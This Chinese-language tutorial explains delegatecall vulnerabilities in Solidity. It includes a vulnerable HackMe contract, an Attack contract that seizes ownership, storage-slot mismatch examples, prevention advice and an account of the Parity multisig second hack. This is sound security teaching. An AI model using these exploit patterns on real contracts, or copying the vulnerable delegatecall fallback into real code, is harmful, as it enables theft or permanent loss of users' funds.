合約安全:delegatecall使用時的危險

一、漏洞一

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

我們創(chuàng)建了一個庫合約Lib,這里面的owner變量是一種形式變量,并不參與實際的運算,僅僅用來占用storage內(nèi)存的slot位置,只有當(dāng)內(nèi)存位置和使用庫合約的合約位置相同,才能用于delegatecall。

庫合約的功能很簡單,就是給owner設(shè)置為msg.sender。應(yīng)用合約HackMe,在fallback中提供了delegatecall的用法,可以對傳入的msg.data進(jìn)行調(diào)用。

在攻擊合約Attack中,我們給pwn()函數(shù)簽名作為msg.data傳了過去,HackMe合約拿到后,經(jīng)過了fallback,然后又用庫合約執(zhí)行pwn(),執(zhí)行完,HackMe合約上的owner值就變成了Attack的合約地址了。

試想一下,如果這個owner值是開放關(guān)鍵權(quán)限的一個變量的話,如果被人隨意修改,最后就會導(dǎo)致資產(chǎn)的流失。

二、漏洞二

delegatecall還有一個危險的地方,就是如果開發(fā)者沒有真正理解delegatecall和內(nèi)存布局的關(guān)系的話,很容易發(fā)生一些危險的行為。一旦庫合約的變量順序和應(yīng)用合約的變量順序不統(tǒng)一時,內(nèi)存布局就是不統(tǒng)一的:

contract Lib {
    address public owner;
    ...
}

contract HackMe {
    Lib public lib;
    address public owner;
    ...
}

比如上面的合約,如果我們HackMe的合約中l(wèi)ib和owner的順序顛倒了,此時slot0的變量就是lib,而庫合約Lib的slot0的位置還是owner。此時如果進(jìn)行delegatecall調(diào)用lib中的函數(shù)的話,那么最后HackMe中被修改的其實不是owner,而是lib。

試想一下,如果是一些其他涉及資產(chǎn)邏輯的變量可以被修改的話,那么整個合約最后就會被hack得面目全非。

三、預(yù)防手段

使用library關(guān)鍵字創(chuàng)立庫函數(shù)。這確保了庫合約是無狀態(tài)(Stateless)且不可自毀的。強制讓 library 成為無狀態(tài)的,可以緩解本節(jié)所述的存儲環(huán)境的復(fù)雜性。無狀態(tài)庫也可以防止攻擊者直接修改庫狀態(tài)的攻擊,以實現(xiàn)依賴庫代碼的合約。作為一般的經(jīng)驗法則,在使用時delegatecall時要特別注意庫合約和調(diào)用合約的可能調(diào)用上下文,并且盡可能構(gòu)建無狀態(tài)庫。

在我們之前的文章《Solidity中l(wèi)ibrary的機(jī)制和內(nèi)幕》中,有這么一段話:
當(dāng)library因為有public而單獨部署時,相比proxy pattern,都是利用另一個合約承載邏輯,但方式不同,一個是利用存儲布局,一個是直接傳遞storage的引用,上下文變量都保持在調(diào)用者一邊。調(diào)用者以delegatecall調(diào)用,由于library沒有成員,被調(diào)用者只操作傳入的參數(shù),因此delegatecall不是像proxy pattern中的那樣通過兼容存儲布局利用另一合約邏輯的作用,而是通過操作storage屬性的參數(shù)利用另一合約的邏輯。

四、真實世界示例:Parity Multisig Wallet(Second Hack)

Parity 多簽名錢包第二次被黑事件是一個例子,說明了如果在非預(yù)期的環(huán)境中運行,良好的庫代碼也可以被利用。

我們來看看這個合約的相關(guān)方面。這里有兩個包含利益的合約,庫合約和錢包合約。

先看 library 合約,

contract WalletLibrary is WalletEvents {
  
  ...
  
  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to  ` _to ` .
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }
  
  ...
  
}

再看錢包合約,

contract Wallet is WalletEvents {

  ...

  // METHODS

  // gets called when no other function matches
  function() payable {
    // just being sent some cash?
    if (msg.value > 0)
      Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
      _walletLibrary.delegatecall(msg.data);
  }
  
  ...  

  // FIELDS
  address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
}

請注意,Wallet 合約基本上會通過 delegate call 將所有調(diào)用傳遞給 WalletLibrary。此代碼段中的常量地址 _walletLibrary,即是實際部署的 WalletLibrary 合約的占位符(位于 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4 )。

這些合約的預(yù)期運作是生成一個簡單的可低成本部署的 Wallet 合約,合約的代碼基礎(chǔ)和主要功能都在 WalletLibrary 合約中。不幸的是,WalletLibrary 合約本身就是一個合約,并保持它自己的狀態(tài)。你能能不能看出為什么這會是一個問題?

因為有可能向 WalletLibrary 合約本身發(fā)送調(diào)用請求。具體來說,WalletLibrary 合約可以初始化,并被用戶擁有。一個用戶通過調(diào)用 WalletLibrary 中的 initWallet() 函數(shù),成為了 Library 合約的所有者。同一個用戶,隨后調(diào)用 kill() 功能。因為用戶是 Library 合約的所有者,所以修改傳入、Library 合約自毀。因為所有現(xiàn)存的 Wallet 合約都引用該 Library 合約,并且不包含更改引用的方法,因此其所有功能(包括取回 Ether 的功能)都會隨 WalletLibrary 合約一起丟失。更直接地說,這種類型的 Parity 多簽名錢包中的所有以太都會立即丟失或者說永久不可恢復(fù)。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容